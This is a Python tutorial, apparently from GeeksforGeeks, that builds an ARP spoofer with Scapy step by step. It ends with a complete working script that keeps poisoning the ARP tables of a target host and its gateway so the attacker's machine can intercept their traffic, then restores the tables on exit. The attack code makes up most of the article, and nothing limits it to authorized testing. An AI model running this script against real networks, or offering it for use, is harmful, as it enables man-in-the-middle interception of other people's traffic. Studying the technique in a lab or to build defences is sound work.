Python – How to create an ARP Spoofer using Scapy?

27 Jul, 2020
ARP spoofing is a malicious attack in which the hacker sends falsified ARP in a network. Every node in a connected network has an ARP table through which we identify the IP address and the MAC address of the connected devices.What aim to send an ARP broadcast to find our desired IP which needs to be spoofed, and then spoof the gateway, as well as the target by updating their ARP Tables. This would enable the network packets sent by the target, to pass from our machine to the network gateway making the ARP spoof successfulTo design a python script to create an ARP spoofer, we require the Scapy module. Scapy is a very powerful packet manipulation tool and library which is completely written in pythonTo install this module, open your terminal and type:
pip3 install scapy
The code demonstrated below requires python 3 to work. It is recommended to update your python to the latest version.Steps to create ARP Spoofer:
Get the IP address that we want to spoofGet the MAC address of the IP that we want to spoofThen create a spoofing packet using the ARP() function to set the target IP, Spoof IP and it’s MAC address that we found above.Start the spoofingDisplay the information of the numbers of packets sentFinally, re-set the ARP tables of the spoofed address to defaults after spoofing
Get the IP address that we want to spoof
Get the MAC address of the IP that we want to spoof
Then create a spoofing packet using the ARP() function to set the target IP, Spoof IP and it’s MAC address that we found above.
Start the spoofing
Display the information of the numbers of packets sent
Finally, re-set the ARP tables of the spoofed address to defaults after spoofing
import scapy.all as scapyimport time
Now we devise a function that returns us the MAC address of our desired IP address:
def get_mac(ip):    arp_request = scapy.ARP(pdst = ip)    broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")    arp_request_broadcast = broadcast / arp_request    answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]    return answered_list[0][1].hwsrc
In this function get_mac(), whatever IP address is entered is used to create an arp_request using ARP() function and we set the broadcast mac address to “ff:ff:ff:ff:ff:ff” using the Ether functionWe now need to join these into a single packet, therefore we use the / to do so.The srp() function returns two lists of the IP address that responded to the packet and that didn’t respond. The MAC address that has the matching IP address that was requested would be stored in the hwsrc field. We return this MAC address to where the function was called. To get to know what are the fields offered by scapy you can also run the following command:
print(scapy.ls(scapy.ARP))
You would be greeted with the following available fields:Now that we have made a function that gives us the desired MAC address, we would now proceed to create the function spoof() as follows:
def spoof(target_ip, spoof_ip):    packet = scapy.ARP(op = 2, pdst = target_ip,                      hwdst = get_mac(target_ip),                                psrc = spoof_ip)      scapy.send(packet, verbose = False)
This function takes two parameters i.e. the Target IP and The Spoofing IP. We use the ARP() function again to devise a packet that modifies the ARP table of the gateway and Target and use the send() function to start spoofing. You can set the verbose to False because the send function displays some default information that we do not require. You can tweak this option to get a better understanding.Now we call the spoof function to start ARP Spoofing:
target_ip = "10.0.2.5" # Enter your target IPgateway_ip = "10.0.2.1" # Enter your gateway's IPspoof(target_ip, gateway_ip) spoof(gateway_ip, target_ip)
Now, unfortunately, the above code is only updating the ARP tables once. If we do not keep updating them continuously, then by default the Target’s ARP Table would correct itself to default.Hence we modify this code:
target_ip = "10.0.2.5"gateway_ip = "10.0.2.1"while True:        spoof(target_ip, gateway_ip)
But again this code does not display the numbers of packets sent, therefore we modify it again:
sent_packets_count = 0while True:        spoof(target_ip, gateway_ip)        spoof(gateway_ip, target_ip)        sent_packets_count = sent_packets_count + 2        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
The above code would now properly function as expected, but there are still some things that are left incomplete. That includes the infinite loop this code would keep running if we don’t give it an interrupt to stop.Hence the above code can be re-written:
target_ip = "10.0.2.5"gateway_ip = "10.0.2.1"  try:    sent_packets_count = 0    while True:        spoof(target_ip, gateway_ip)        spoof(gateway_ip, target_ip)        sent_packets_count = sent_packets_count + 2        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")        time.sleep(2) # Waits for two secondsexcept KeyboardInterrupt:    print("\nCtrl + C pressed.............Exiting")
The above code would run perfectly and would stop whenever it gets a Keyboard interrupt. This code is almost perfect, but we still have not re-updated the ARP tables back to their default values. Hence we can create a function to do that as follows:
def restore(destination_ip, source_ip):    destination_mac = get_mac(destination_ip)    source_mac = get_mac(source_ip)    packet = scapy.ARP(op = 2, pdst = destination_ip,                              hwdst = destination_mac,                 psrc = source_ip, hwsrc = source_mac)      scapy.send(packet, verbose = False)
Now that we have finally covered everything, the code for ARP Spoofing should look like this:
import scapy.all as scapyimport time  def get_mac(ip):    arp_request = scapy.ARP(pdst = ip)    broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")    arp_request_broadcast = broadcast / arp_request    answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]    return answered_list[0][1].hwsrc  def spoof(target_ip, spoof_ip):    packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip),                                                            psrc = spoof_ip)    scapy.send(packet, verbose = False)    def restore(destination_ip, source_ip):    destination_mac = get_mac(destination_ip)    source_mac = get_mac(source_ip)    packet = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = source_ip, hwsrc = source_mac)    scapy.send(packet, verbose = False)        target_ip = "10.0.2.5" # Enter your target IPgateway_ip = "10.0.2.1" # Enter your gateway's IP  try:    sent_packets_count = 0    while True:        spoof(target_ip, gateway_ip)        spoof(gateway_ip, target_ip)        sent_packets_count = sent_packets_count + 2        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")        time.sleep(2) # Waits for two seconds  except KeyboardInterrupt:    print("\nCtrl + C pressed.............Exiting")    restore(gateway_ip, target_ip)    restore(target_ip, gateway_ip)    print("[+] Arp Spoof Stopped")
Now that you have designed the code successfully, its time to run and check whether it’s working:Following is the screenshot of the Hacker Machine:Following is the screenshot of the Victim Machine:Here we can clearly see that the MAC address of Victim’s Gateway at 10.0.2.1 has clearly changed the second time. Therefore, we know that our code of ARP spoofing is successfully working.
Python-Scrapy
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.